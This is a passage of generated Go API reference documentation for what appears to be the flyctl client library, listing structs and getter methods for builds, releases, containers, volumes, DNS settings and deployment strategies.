ExtraBuildArgs interface{} `json:"extraBuildArgs"`
// Image label to use when tagging and pushing to the fly registry
ImageLabel string `json:"imageLabel"`
// Unused in cli?
ImageRef string `json:"imageRef"`
// Do not use the build cache when building the image
NoCache bool `json:"noCache"`
// Whether publishing to the registry was requested
Publish bool `json:"publish"`
// Docker tag used to publish image to registry
Tag string `json:"tag"`
// Set the target build stage to build if the Dockerfile has more than one stage
Target string `json:"target"`
}
func (*BuildImageOptsInput) GetBuildArgs ¶
func (v *BuildImageOptsInput) GetBuildArgs() interface{}
GetBuildArgs returns BuildImageOptsInput.BuildArgs, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetBuildPacks ¶
func (v *BuildImageOptsInput) GetBuildPacks() []string
GetBuildPacks returns BuildImageOptsInput.BuildPacks, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetBuilder ¶
func (v *BuildImageOptsInput) GetBuilder() string
GetBuilder returns BuildImageOptsInput.Builder, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetBuiltIn ¶
func (v *BuildImageOptsInput) GetBuiltIn() string
GetBuiltIn returns BuildImageOptsInput.BuiltIn, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetBuiltInSettings ¶
func (v *BuildImageOptsInput) GetBuiltInSettings() interface{}
GetBuiltInSettings returns BuildImageOptsInput.BuiltInSettings, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetDockerfilePath ¶
func (v *BuildImageOptsInput) GetDockerfilePath() string
GetDockerfilePath returns BuildImageOptsInput.DockerfilePath, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetExtraBuildArgs ¶
func (v *BuildImageOptsInput) GetExtraBuildArgs() interface{}
GetExtraBuildArgs returns BuildImageOptsInput.ExtraBuildArgs, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetImageLabel ¶
func (v *BuildImageOptsInput) GetImageLabel() string
GetImageLabel returns BuildImageOptsInput.ImageLabel, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetImageRef ¶
func (v *BuildImageOptsInput) GetImageRef() string
GetImageRef returns BuildImageOptsInput.ImageRef, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetNoCache ¶
func (v *BuildImageOptsInput) GetNoCache() bool
GetNoCache returns BuildImageOptsInput.NoCache, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetPublish ¶
func (v *BuildImageOptsInput) GetPublish() bool
GetPublish returns BuildImageOptsInput.Publish, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetTag ¶
func (v *BuildImageOptsInput) GetTag() string
GetTag returns BuildImageOptsInput.Tag, and is useful for accessing the field via an interface.
func (*BuildImageOptsInput) GetTarget ¶
func (v *BuildImageOptsInput) GetTarget() string
GetTarget returns BuildImageOptsInput.Target, and is useful for accessing the field via an interface.
type BuildStrategyAttemptInput ¶
type BuildStrategyAttemptInput struct {
// Optional error message from strategy
Error string `json:"error"`
// Optional note about this strategy or its result
Note string `json:"note"`
// Result attempting this strategy
Result string `json:"result"`
// Build strategy attempted
Strategy string `json:"strategy"`
}
func (*BuildStrategyAttemptInput) GetError ¶
func (v *BuildStrategyAttemptInput) GetError() string
GetError returns BuildStrategyAttemptInput.Error, and is useful for accessing the field via an interface.
func (*BuildStrategyAttemptInput) GetNote ¶
func (v *BuildStrategyAttemptInput) GetNote() string
GetNote returns BuildStrategyAttemptInput.Note, and is useful for accessing the field via an interface.
func (*BuildStrategyAttemptInput) GetResult ¶
func (v *BuildStrategyAttemptInput) GetResult() string
GetResult returns BuildStrategyAttemptInput.Result, and is useful for accessing the field via an interface.
func (*BuildStrategyAttemptInput) GetStrategy ¶
func (v *BuildStrategyAttemptInput) GetStrategy() string
GetStrategy returns BuildStrategyAttemptInput.Strategy, and is useful for accessing the field via an interface.
type BuildTimingsInput ¶
type BuildTimingsInput struct {
// Time to build and push the image, measured by flyctl
BuildAndPushMs int64 `json:"buildAndPushMs"`
// Time to build the image including create context, measured by flyctl
BuildMs int64 `json:"buildMs"`
// Time to initialize client used to connect to either remote or local builder
BuilderInitMs int64 `json:"builderInitMs"`
// Time to create the build context tar file, measured by flyctl
ContextBuildMs int64 `json:"contextBuildMs"`
// Time for builder to build image after receiving context, measured by flyctl
ImageBuildMs int64 `json:"imageBuildMs"`
// Time to push completed image to registry, measured by flyctl
PushMs int64 `json:"pushMs"`
}
func (*BuildTimingsInput) GetBuildAndPushMs ¶
func (v *BuildTimingsInput) GetBuildAndPushMs() int64
GetBuildAndPushMs returns BuildTimingsInput.BuildAndPushMs, and is useful for accessing the field via an interface.
func (*BuildTimingsInput) GetBuildMs ¶
func (v *BuildTimingsInput) GetBuildMs() int64
GetBuildMs returns BuildTimingsInput.BuildMs, and is useful for accessing the field via an interface.
func (*BuildTimingsInput) GetBuilderInitMs ¶
func (v *BuildTimingsInput) GetBuilderInitMs() int64
GetBuilderInitMs returns BuildTimingsInput.BuilderInitMs, and is useful for accessing the field via an interface.
func (*BuildTimingsInput) GetContextBuildMs ¶
func (v *BuildTimingsInput) GetContextBuildMs() int64
GetContextBuildMs returns BuildTimingsInput.ContextBuildMs, and is useful for accessing the field via an interface.
func (*BuildTimingsInput) GetImageBuildMs ¶
func (v *BuildTimingsInput) GetImageBuildMs() int64
GetImageBuildMs returns BuildTimingsInput.ImageBuildMs, and is useful for accessing the field via an interface.
func (*BuildTimingsInput) GetPushMs ¶
func (v *BuildTimingsInput) GetPushMs() int64
GetPushMs returns BuildTimingsInput.PushMs, and is useful for accessing the field via an interface.
type BuilderMetaInput ¶
type BuilderMetaInput struct {
// Local or remote builder type
BuilderType string `json:"builderType"`
// Whther or not buildkit is enabled on builder
BuildkitEnabled bool `json:"buildkitEnabled"`
// Docker version reported by builder
DockerVersion string `json:"dockerVersion"`
// Platform reported by the builder
Platform string `json:"platform"`
// Remote builder app used
RemoteAppName string `json:"remoteAppName"`
// Remote builder machine used
RemoteMachineId string `json:"remoteMachineId"`
}
func (*BuilderMetaInput) GetBuilderType ¶
func (v *BuilderMetaInput) GetBuilderType() string
GetBuilderType returns BuilderMetaInput.BuilderType, and is useful for accessing the field via an interface.
func (*BuilderMetaInput) GetBuildkitEnabled ¶
func (v *BuilderMetaInput) GetBuildkitEnabled() bool
GetBuildkitEnabled returns BuilderMetaInput.BuildkitEnabled, and is useful for accessing the field via an interface.
func (*BuilderMetaInput) GetDockerVersion ¶
func (v *BuilderMetaInput) GetDockerVersion() string
GetDockerVersion returns BuilderMetaInput.DockerVersion, and is useful for accessing the field via an interface.
func (*BuilderMetaInput) GetPlatform ¶
func (v *BuilderMetaInput) GetPlatform() string
GetPlatform returns BuilderMetaInput.Platform, and is useful for accessing the field via an interface.
func (*BuilderMetaInput) GetRemoteAppName ¶
func (v *BuilderMetaInput) GetRemoteAppName() string
GetRemoteAppName returns BuilderMetaInput.RemoteAppName, and is useful for accessing the field via an interface.
func (*BuilderMetaInput) GetRemoteMachineId ¶
func (v *BuilderMetaInput) GetRemoteMachineId() string
GetRemoteMachineId returns BuilderMetaInput.RemoteMachineId, and is useful for accessing the field via an interface.
type CLISession ¶
type CLISession struct {
ID string `json:"id"`
URL string `json:"auth_url,omitempty"`
AccessToken string `json:"access_token,omitempty"`
Metadata map[string]interface{} `json:"metadata,omitempty"`
}
func GetCLISessionState ¶
func GetCLISessionState(ctx context.Context, id string) (CLISession, error)
func StartCLISession ¶
func StartCLISession(sessionName string, args map[string]interface{}) (CLISession, error)
StartCLISession starts a session with the platform via web
func StartCLISessionWebAuth ¶
func StartCLISessionWebAuth(machineName string, signup bool) (CLISession, error)
StartCLISessionWebAuth starts a session with the platform via web auth
type CLISessionAuth ¶
type CLISessionAuth struct {
CLISession
}
type CheckDomainResult ¶
type Client ¶
type Client struct {
// contains filtered or unexported fields
}
Client - API client encapsulating the http and GraphQL clients
func NewClientFromOptions ¶
func NewClientFromOptions(opts ClientOptions) *Client
func (*Client) AddCertificate ¶
func (c *Client) AddCertificate(ctx context.Context, appName, hostname string) (*AppCertificate, *HostnameCheck, error)
func (*Client) AllocateEgressIPAddress ¶
func (*Client) AllocateIPAddress ¶
func (*Client) AllocateSharedIPAddress ¶
func (*Client) AppNameAvailable ¶
func (*Client) AttachPostgresCluster ¶
func (client *Client) AttachPostgresCluster(ctx context.Context, input AttachPostgresClusterInput) (*AttachPostgresClusterPayload, error)
func (*Client) Authenticated ¶
func (*Client) CanPerformBluegreenDeployment ¶
func (*Client) CheckAppCertificate ¶
func (c *Client) CheckAppCertificate(ctx context.Context, appName, hostname string) (*AppCertificate, *HostnameCheck, error)
func (*Client) CheckDomain ¶
func (*Client) ClosestWireguardGatewayRegion ¶
func (*Client) CreateAndRegisterDomain ¶
func (*Client) CreateBuild ¶
func (c *Client) CreateBuild(ctx context.Context, input CreateBuildInput) (*CreateBuildResponse, error)
func (*Client) CreateDelegatedWireGuardToken ¶
func (c *Client) CreateDelegatedWireGuardToken(ctx context.Context, org *Organization, name string) (*DelegatedWireGuardToken, error)
func (*Client) CreateDoctorUrl ¶
func (*Client) CreateDomain ¶
func (*Client) CreateOrganization ¶
func (*Client) CreateOrganizationInvite ¶
func (*Client) CreateRelease ¶
func (c *Client) CreateRelease(ctx context.Context, input CreateReleaseInput) (*CreateReleaseResponse, error)
func (*Client) CreateWireGuardPeer ¶
func (c *Client) CreateWireGuardPeer(ctx context.Context, org *Organization, region, name, pubkey, network string) (*CreatedWireGuardPeer, error)
func (*Client) DeleteCertificate ¶
func (*Client) DeleteDelegatedWireGuardToken ¶
func (*Client) DeleteOrganization ¶
func (*Client) DeleteOrganizationMembership ¶
func (*Client) DetachPostgresCluster ¶
func (client *Client) DetachPostgresCluster(ctx context.Context, input DetachPostgresClusterInput) error
func (*Client) EnablePostgresConsul ¶
func (*Client) EnsureDepotRemoteBuilder ¶
func (client *Client) EnsureDepotRemoteBuilder(ctx context.Context, input *EnsureDepotRemoteBuilderInput) (*EnsureDepotRemoteBuilderResponse, error)
in order to auto generate the EnsureDepotRemoteBuilder function, we just need to create a string assigned to a variable, making sure to include the query, the input type, and the response type we use pointer: true to make specifying the inputs optional
func (*Client) EnsureRemoteBuilder ¶
func (*Client) ExportDNSRecords ¶
func (*Client) FinishBuild ¶
func (c *Client) FinishBuild(ctx context.Context, input FinishBuildInput) (*FinishBuildResponse, error)
func (*Client) GenqClient ¶
func (*Client) GetAppBasic ¶
func (*Client) GetAppCertificates ¶
func (*Client) GetAppCompact ¶
func (*Client) GetAppCurrentReleaseMachines ¶
func (*Client) GetAppHostIssues ¶
func (*Client) GetAppLimitedAccessTokens ¶
func (*Client) GetAppLock ¶
func (*Client) GetAppLogs ¶
func (*Client) GetAppNameFromVolume ¶
func (*Client) GetAppNameStateFromVolume ¶
func (*Client) GetAppNetwork ¶
func (*Client) GetAppReleasesMachines ¶
func (*Client) GetAppRemoteBuilder ¶
func (*Client) GetAppSecrets ¶
func (*Client) GetAppsForOrganization ¶
func (*Client) GetDNSRecords ¶
func (*Client) GetDelegatedWireGuardTokens ¶
func (*Client) GetDeployerAppByOrg ¶
func (*Client) GetDetailedOrganizationBySlug ¶
func (*Client) GetDomains ¶
func (*Client) GetEgressIPAddresses ¶
func (*Client) GetIPAddresses ¶
func (*Client) GetLatestImageDetails ¶
func (*Client) GetLatestImageTag ¶
func (*Client) GetLoggedCertificates ¶
func (*Client) GetMachine ¶
func (*Client) GetNearestRegion ¶
func (*Client) GetOrganizationByApp ¶
func (*Client) GetOrganizationBySlug ¶
func (*Client) GetOrganizationRemoteBuilderBySlug ¶
func (*Client) GetOrganizations ¶
func (client *Client) GetOrganizations(ctx context.Context, filters ...OrganizationFilter) ([]Organization, error)
func (*Client) GetSnapshotsFromVolume ¶
func (*Client) GetWireGuardPeer ¶
func (*Client) GetWireGuardPeers ¶
func (*Client) ImportDNSRecords ¶
func (c *Client) ImportDNSRecords(ctx context.Context, domainId string, zonefile string) ([]ImportDnsWarning, []ImportDnsChange, error)
func (*Client) IssueSSHCertificate ¶
func (*Client) LatestImage ¶
func (*Client) ListPostgresClusterAttachments ¶
func (*Client) NewRequest ¶
NewRequest - creates a new GraphQL request
func (*Client) PlatformRegions ¶
func (*Client) ReleaseEgressIPAddress ¶
func (*Client) ReleaseIPAddress ¶
func (*Client) RemoveWireGuardPeer ¶
func (*Client) ResolveImageForApp ¶
func (*Client) RevokeLimitedAccessToken ¶
func (*Client) RunWithContext ¶
RunWithContext - Runs a GraphQL request within a Go context
func (*Client) SetGenqClient ¶
func (*Client) SetSecrets ¶
func (*Client) UnsetSecrets ¶
func (*Client) UpdateRelease ¶
func (c *Client) UpdateRelease(ctx context.Context, input UpdateReleaseInput) (*UpdateReleaseResponse, error)
type ClientOptions ¶
type ConsulCheckStatus ¶
type ConsulCheckStatus string
const ( Critical ConsulCheckStatus = "critical" Warning ConsulCheckStatus = "warning" Passing ConsulCheckStatus = "passing" )
type ContainerConfig ¶
type ContainerConfig struct {
// Name is used to identify the container in the machine.
Name string `toml:"name" json:"name"`
// Image is the docker image to run.
Image string `toml:"image" json:"image"`
// Image Config overrides - these fields are used to override the image configuration.
// If not provided, the image configuration will be used.
// ExecOverride is used to override the default command of the image.
ExecOverride []string `toml:"exec,omitempty" json:"exec,omitempty"`
// EntrypointOverride is used to override the default entrypoint of the image.
EntrypointOverride []string `toml:"entrypoint,omitempty" json:"entrypoint,omitempty"`
// CmdOverride is used to override the default command of the image.
CmdOverride []string `toml:"cmd,omitempty" json:"cmd,omitempty"`
// UserOverride is used to override the default user of the image.
UserOverride string `toml:"user,omitempty" json:"user,omitempty"`
// ExtraEnv is used to add additional environment variables to the container.
ExtraEnv map[string]string `toml:"env,omitempty" json:"env,omitempty"`
// Secrets can be provided at the process level to explicitly indicate which secrets should be
// used for the process. If not provided, the secrets provided at the machine level will be used.
Secrets []MachineSecret `toml:"secrets,omitempty" json:"secrets,omitempty"`
// EnvFrom can be provided to set environment variables from machine fields.
EnvFrom []EnvFrom `toml:"env_from,omitempty" json:"env_from,omitempty"`
// Files are files that will be written to the container file system.
Files []*File `toml:"files,omitempty" json:"files,omitempty"`
// Restart is used to define the restart policy for the container. NOTE: spot-price is not
// supported for containers.
Restart *MachineRestart `toml:"restart,omitempty" json:"restart,omitempty"`
// Stop is used to define the signal and timeout for stopping the container.
Stop *StopConfig `toml:"stop,omitempty" json:"stop,omitempty"`
// DependsOn can be used to define dependencies between containers. The container will only be
// started after all of its dependent conditions have been satisfied.
DependsOn []ContainerDependency `toml:"depends_on,omitempty" json:"depends_on,omitempty"`
// Healthchecks determine the health of your containers. Healthchecks can use HTTP, TCP or an Exec command.
Healthchecks []ContainerHealthcheck `toml:"healthchecks,omitempty" json:"healthchecks,omitempty"`
// Set of mounts added to the container. These must reference a volume in the machine config via its name.
Mounts []ContainerMount `toml:"mounts,omitempty" json:"mounts,omitempty"`
}
type ContainerDependency ¶
type ContainerDependency struct {
Name string `toml:"name" json:"name"`
Condition ContainerDependencyCondition `toml:"condition" json:"condition" enums:"exited_successfully,healthy,started"`
}
type ContainerDependencyCondition ¶
type ContainerDependencyCondition string
const ( ExitedSuccessfully ContainerDependencyCondition = "exited_successfully" Healthy ContainerDependencyCondition = "healthy" Started ContainerDependencyCondition = "started" )
type ContainerHealthcheck ¶
type ContainerHealthcheck struct {
// The name of the check. Must be unique within the container.
Name string `toml:"name" json:"name"`
// The time in seconds between executing the defined check.
Interval int64 `toml:"interval,omitempty" json:"interval,omitempty"`
// The time in seconds to wait after a container starts before checking its health.
GracePeriod int64 `toml:"grace_period,omitempty" json:"grace_period,omitempty"`
// The number of times the check must succeeed before considering the container healthy.
SuccessThreshold int32 `toml:"success_threshold,omitempty" json:"success_threshold,omitempty"`
// The number of times the check must fail before considering the container unhealthy.
FailureThreshold int32 `toml:"failure_threshold,omitempty" json:"failure_threshold,omitempty"`
// The time in seconds to wait for the check to complete.
Timeout int64 `toml:"timeout,omitempty" json:"timeout,omitempty"`
// Kind of healthcheck (readiness, liveness)
Kind ContainerHealthcheckKind `toml:"kind,omitempty" json:"kind,omitempty"`
// Unhealthy policy that determines what action to take if a container is deemed unhealthy
Unhealthy UnhealthyPolicy `toml:"unhealthy,omitempty" json:"unhealthy,omitempty"`
// The type of healthcheck
ContainerHealthcheckType
}
type ContainerHealthcheckKind ¶
type ContainerHealthcheckKind string
const ( // Readiness checks ensure your container is ready to receive traffic. Readiness ContainerHealthcheckKind = "readiness" // Liveness checks ensure your container is reachable and functional. When a liveness check // fails, a policy is used to determine what action to perform such as restarting the container. Liveness ContainerHealthcheckKind = "liveness" )
type ContainerHealthcheckScheme ¶
type ContainerHealthcheckScheme string
const ( HTTP ContainerHealthcheckScheme = "http" HTTPS ContainerHealthcheckScheme = "https" )
type ContainerHealthcheckType ¶
type ContainerHealthcheckType struct {
HTTP *HTTPHealthcheck `toml:"http,omitempty" json:"http,omitempty"`
TCP *TCPHealthcheck `toml:"tcp,omitempty" json:"tcp,omitempty"`
Exec *ExecHealthcheck `toml:"exec,omitempty" json:"exec,omitempty"`
}
type ContainerMount ¶
type CreateAppInput ¶
type CreateBuildCreateBuildCreateBuildPayload ¶
type CreateBuildCreateBuildCreateBuildPayload struct {
// build id
Id string `json:"id"`
// stored build status
Status string `json:"status"`
}
CreateBuildCreateBuildCreateBuildPayload includes the requested fields of the GraphQL type CreateBuildPayload. The GraphQL type's documentation follows.
Autogenerated return type of CreateBuild.
func (*CreateBuildCreateBuildCreateBuildPayload) GetId ¶
func (v *CreateBuildCreateBuildCreateBuildPayload) GetId() string
GetId returns CreateBuildCreateBuildCreateBuildPayload.Id, and is useful for accessing the field via an interface.
func (*CreateBuildCreateBuildCreateBuildPayload) GetStatus ¶
func (v *CreateBuildCreateBuildCreateBuildPayload) GetStatus() string
GetStatus returns CreateBuildCreateBuildCreateBuildPayload.Status, and is useful for accessing the field via an interface.
type CreateBuildInput ¶
type CreateBuildInput struct {
// The name of the app being built
AppName string `json:"appName"`
// The kind of builder being used
BuilderType string `json:"builderType"`
// A unique identifier for the client performing the mutation.
ClientMutationId string `json:"clientMutationId"`
// Options set for building image
ImageOpts BuildImageOptsInput `json:"imageOpts"`
// The ID of the machine being built (only set for machine builds)
MachineId string `json:"machineId"`
// List of available build strategies that will be attempted
StrategiesAvailable []string `json:"strategiesAvailable"`
}
Autogenerated input type of CreateBuild
func (*CreateBuildInput) GetAppName ¶
func (v *CreateBuildInput) GetAppName() string
GetAppName returns CreateBuildInput.AppName, and is useful for accessing the field via an interface.
func (*CreateBuildInput) GetBuilderType ¶
func (v *CreateBuildInput) GetBuilderType() string
GetBuilderType returns CreateBuildInput.BuilderType, and is useful for accessing the field via an interface.
func (*CreateBuildInput) GetClientMutationId ¶
func (v *CreateBuildInput) GetClientMutationId() string
GetClientMutationId returns CreateBuildInput.ClientMutationId, and is useful for accessing the field via an interface.
func (*CreateBuildInput) GetImageOpts ¶
func (v *CreateBuildInput) GetImageOpts() BuildImageOptsInput
GetImageOpts returns CreateBuildInput.ImageOpts, and is useful for accessing the field via an interface.
func (*CreateBuildInput) GetMachineId ¶
func (v *CreateBuildInput) GetMachineId() string
GetMachineId returns CreateBuildInput.MachineId, and is useful for accessing the field via an interface.
func (*CreateBuildInput) GetStrategiesAvailable ¶
func (v *CreateBuildInput) GetStrategiesAvailable() []string
GetStrategiesAvailable returns CreateBuildInput.StrategiesAvailable, and is useful for accessing the field via an interface.
type CreateBuildResponse ¶
type CreateBuildResponse struct {
CreateBuild CreateBuildCreateBuildCreateBuildPayload `json:"createBuild"`
}
CreateBuildResponse is returned by CreateBuild on success.
func CreateBuild ¶
func CreateBuild( ctx_ context.Context, client_ graphql.Client, input CreateBuildInput, ) (data_ *CreateBuildResponse, err_ error)
func (*CreateBuildResponse) GetCreateBuild ¶
func (v *CreateBuildResponse) GetCreateBuild() CreateBuildCreateBuildCreateBuildPayload
GetCreateBuild returns CreateBuildResponse.CreateBuild, and is useful for accessing the field via an interface.
type CreateOrganizationInvitation ¶
type CreateOrganizationInvitation struct {
Invitation Invitation
}
type CreateOrganizationPayload ¶
type CreateOrganizationPayload struct {
Organization Organization
}
type CreateReleaseCreateReleaseCreateReleasePayload ¶
type CreateReleaseCreateReleaseCreateReleasePayload struct {
Release CreateReleaseCreateReleaseCreateReleasePayloadRelease `json:"release"`
}
CreateReleaseCreateReleaseCreateReleasePayload includes the requested fields of the GraphQL type CreateReleasePayload. The GraphQL type's documentation follows.
Autogenerated return type of CreateRelease.
func (*CreateReleaseCreateReleaseCreateReleasePayload) GetRelease ¶
func (v *CreateReleaseCreateReleaseCreateReleasePayload) GetRelease() CreateReleaseCreateReleaseCreateReleasePayloadRelease
GetRelease returns CreateReleaseCreateReleaseCreateReleasePayload.Release, and is useful for accessing the field via an interface.
type CreateReleaseCreateReleaseCreateReleasePayloadRelease ¶
type CreateReleaseCreateReleaseCreateReleasePayloadRelease struct {
// Unique ID
Id string `json:"id"`
// The version of the release
Version int `json:"version"`
}
CreateReleaseCreateReleaseCreateReleasePayloadRelease includes the requested fields of the GraphQL type Release.
func (*CreateReleaseCreateReleaseCreateReleasePayloadRelease) GetId ¶
func (v *CreateReleaseCreateReleaseCreateReleasePayloadRelease) GetId() string
GetId returns CreateReleaseCreateReleaseCreateReleasePayloadRelease.Id, and is useful for accessing the field via an interface.
func (*CreateReleaseCreateReleaseCreateReleasePayloadRelease) GetVersion ¶
func (v *CreateReleaseCreateReleaseCreateReleasePayloadRelease) GetVersion() int
GetVersion returns CreateReleaseCreateReleaseCreateReleasePayloadRelease.Version, and is useful for accessing the field via an interface.
type CreateReleaseInput ¶
type CreateReleaseInput struct {
// The ID of the app
AppId string `json:"appId"`
// The build ID linked to the release
BuildId string `json:"buildId"`
// A unique identifier for the client performing the mutation.
ClientMutationId string `json:"clientMutationId"`
// app definition
Definition interface{} `json:"definition"`
// The image to deploy
Image string `json:"image"`
// nomad or machines
PlatformVersion string `json:"platformVersion"`
// The strategy for replacing existing instances. Defaults to canary.
Strategy DeploymentStrategy `json:"strategy"`
}
Autogenerated input type of CreateRelease
func (*CreateReleaseInput) GetAppId ¶
func (v *CreateReleaseInput) GetAppId() string
GetAppId returns CreateReleaseInput.AppId, and is useful for accessing the field via an interface.
func (*CreateReleaseInput) GetBuildId ¶
func (v *CreateReleaseInput) GetBuildId() string
GetBuildId returns CreateReleaseInput.BuildId, and is useful for accessing the field via an interface.
func (*CreateReleaseInput) GetClientMutationId ¶
func (v *CreateReleaseInput) GetClientMutationId() string
GetClientMutationId returns CreateReleaseInput.ClientMutationId, and is useful for accessing the field via an interface.
func (*CreateReleaseInput) GetDefinition ¶
func (v *CreateReleaseInput) GetDefinition() interface{}
GetDefinition returns CreateReleaseInput.Definition, and is useful for accessing the field via an interface.
func (*CreateReleaseInput) GetImage ¶
func (v *CreateReleaseInput) GetImage() string
GetImage returns CreateReleaseInput.Image, and is useful for accessing the field via an interface.
func (*CreateReleaseInput) GetPlatformVersion ¶
func (v *CreateReleaseInput) GetPlatformVersion() string
GetPlatformVersion returns CreateReleaseInput.PlatformVersion, and is useful for accessing the field via an interface.
func (*CreateReleaseInput) GetStrategy ¶
func (v *CreateReleaseInput) GetStrategy() DeploymentStrategy
GetStrategy returns CreateReleaseInput.Strategy, and is useful for accessing the field via an interface.
type CreateReleaseResponse ¶
type CreateReleaseResponse struct {
CreateRelease CreateReleaseCreateReleaseCreateReleasePayload `json:"createRelease"`
}
CreateReleaseResponse is returned by CreateRelease on success.
func CreateRelease ¶
func CreateRelease( ctx_ context.Context, client_ graphql.Client, input CreateReleaseInput, ) (data_ *CreateReleaseResponse, err_ error)
func (*CreateReleaseResponse) GetCreateRelease ¶
func (v *CreateReleaseResponse) GetCreateRelease() CreateReleaseCreateReleaseCreateReleasePayload
GetCreateRelease returns CreateReleaseResponse.CreateRelease, and is useful for accessing the field via an interface.
type CreateSecretRequest ¶
type CreateSecretRequest struct {
Value []byte `json:"value,omitempty"`
}
type CreateVolumeRequest ¶
type CreateVolumeRequest struct {
Name string `json:"name"`
Region string `json:"region"`
SizeGb *int `json:"size_gb"`
Encrypted *bool `json:"encrypted"`
RequireUniqueZone *bool `json:"require_unique_zone"`
UniqueZoneAppWide *bool `json:"unique_zone_app_wide"`
SnapshotRetention *int `json:"snapshot_retention"`
AutoBackupEnabled *bool `json:"auto_backup_enabled"`
// FSType sets the filesystem of this volume. The valid values are "ext4" and "raw".
// Not setting the value results "ext4".
FSType *string `json:"fstype"`
// restore from snapshot
SnapshotID *string `json:"snapshot_id"`
// fork from remote volume
SourceVolumeID *string `json:"source_volume_id"`
// If the volume is going to be attached to a new machine, make the placement logic aware of it
ComputeRequirements *MachineGuest `json:"compute"`
ComputeImage string `json:"compute_image,omitempty"`
}
type CreatedWireGuardPeer ¶
type DNSConfig ¶
type DNSConfig struct {
SkipRegistration bool `toml:"skip_registration,omitempty" json:"skip_registration,omitempty"`
Nameservers []string `toml:"nameservers,omitempty" json:"nameservers,omitempty"`
Searches []string `toml:"searches,omitempty" json:"searches,omitempty"`
Options []dnsOption `toml:"options,omitempty" json:"options,omitempty"`
DNSForwardRules []dnsForwardRule `toml:"dns_forward_rules,omitempty" json:"dns_forward_rules,omitempty"`
Hostname string `toml:"hostname,omitempty" json:"hostname,omitempty"`
HostnameFqdn string `toml:"hostname_fqdn,omitempty" json:"hostname_fqdn,omitempty"`
}
type DNSRecords ¶
type Definition ¶
type Definition map[string]interface{}
func DefinitionPtr ¶
func DefinitionPtr(in map[string]interface{}) *Definition
type DelegatedWireGuardToken ¶
type DelegatedWireGuardToken struct {
Token string
}
type DelegatedWireGuardTokenHandle ¶
type DelegatedWireGuardTokenHandle struct {
Name string
}
type DeleteCertificatePayload ¶
type DeleteCertificatePayload struct {
App App
Certificate AppCertificate
}
type DeleteOrganizationMembershipPayload ¶
type DeleteOrganizationMembershipPayload struct {
Organization *Organization
User *User
}
type DeleteOrganizationPayload ¶
type DeleteOrganizationPayload struct {
DeletedOrganizationId string
}
type DeploymentStrategy ¶
type DeploymentStrategy string
const ( // Launch all new instances before shutting down previous instances DeploymentStrategyBluegreen DeploymentStrategy = "BLUEGREEN" // Ensure new instances are healthy before continuing with a rolling deployment DeploymentStrategyCanary DeploymentStrategy = "CANARY" // Deploy new instances all at once DeploymentStrategyImmediate DeploymentStrategy = "IMMEDIATE" // Incrementally replace old instances with new ones DeploymentStrategyRolling DeploymentStrategy = "ROLLING" // Incrementally replace old instances with new ones, 1 by 1 DeploymentStrategyRollingOne DeploymentStrategy = "ROLLING_ONE" // Deploy new instances all at once DeploymentStrategySimple DeploymentStrategy = "SIMPLE" )
type Duration ¶
func MustParseDuration ¶
MustParseDuration is like ParseDuration but panics if the expression cannot be parsed. It simplifies safe initialization of global variables holding durations Same idea than regexp.MustCompile
func ParseDuration ¶
Compile parses a duration and returns, if successful, a Duration object.
func (Duration) MarshalJSON ¶
func (Duration) MarshalTOML ¶
func (*Duration) MarshalText ¶
func (*Duration) ParseDuration ¶
func (*Duration) UnmarshalJSON ¶
func (*Duration) UnmarshalTOML ¶
func (*Duration) UnmarshalText ¶
type EgressIPAddress ¶
type EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload ¶
type EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload struct {
BuildId *string `json:"buildId"`
BuildToken *string `json:"buildToken"`
}
EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload includes the requested fields of the GraphQL type EnsureDepotRemoteBuilderPayload. The GraphQL type's documentation follows.
Autogenerated return type of EnsureDepotRemoteBuilder.
func (*EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload) GetBuildId ¶
func (v *EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload) GetBuildId() *string
GetBuildId returns EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload.BuildId, and is useful for accessing the field via an interface.
func (*EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload) GetBuildToken ¶
func (v *EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload) GetBuildToken() *string
GetBuildToken returns EnsureDepotRemoteBuilderEnsureDepotRemoteBuilderEnsureDepotRemoteBuilderPayload.BuildToken, and is useful for accessing the field via an interface.
type EnsureDepotRemoteBuilderInput ¶
type EnsureDepotRemoteBuilderInput struct {
// The unique application name
AppName *string `json:"appName"`
// The scope of the builder; either "app" or "organization"
BuilderScope *string `json:"builderScope"`
// A unique identifier for the client performing the mutation.
ClientMutationId *string `json:"clientMutationId"`
// The node ID of the organization
OrganizationId *string `json:"organizationId"`
// Desired region for the remote builder
Region *string `json:"region"`
}
Autogenerated input type of EnsureDepotRemoteBuilder
func (*EnsureDepotRemoteBuilderInput) GetAppName ¶
func (v *EnsureDepotRemoteBuilderInput) GetAppName() *string
GetAppName returns EnsureDepotRemoteBuilderInput.AppName, and is useful for accessing the field via an interface.
func (*EnsureDepotRemoteBuilderInput) GetBuilderScope ¶
func (v *EnsureDepotRemoteBuilderInput) GetBuilderScope() *string
GetBuilderScope returns EnsureDepotRemoteBuilderInput.BuilderScope, and is useful for accessing the field via an interface.
func (*EnsureDepotRemoteBuilderInput) GetClientMutationId ¶
func (v *EnsureDepotRemoteBuilderInput) GetClientMutationId() *string
GetClientMutationId returns EnsureDepotRemoteBuilderInput.ClientMutationId, and is useful for accessing the field via an interface.
func (*EnsureDepotRemoteBuilderInput) GetOrganizationId ¶
func (v *EnsureDepotRemoteBuilderInput) GetOrganizationId() *string
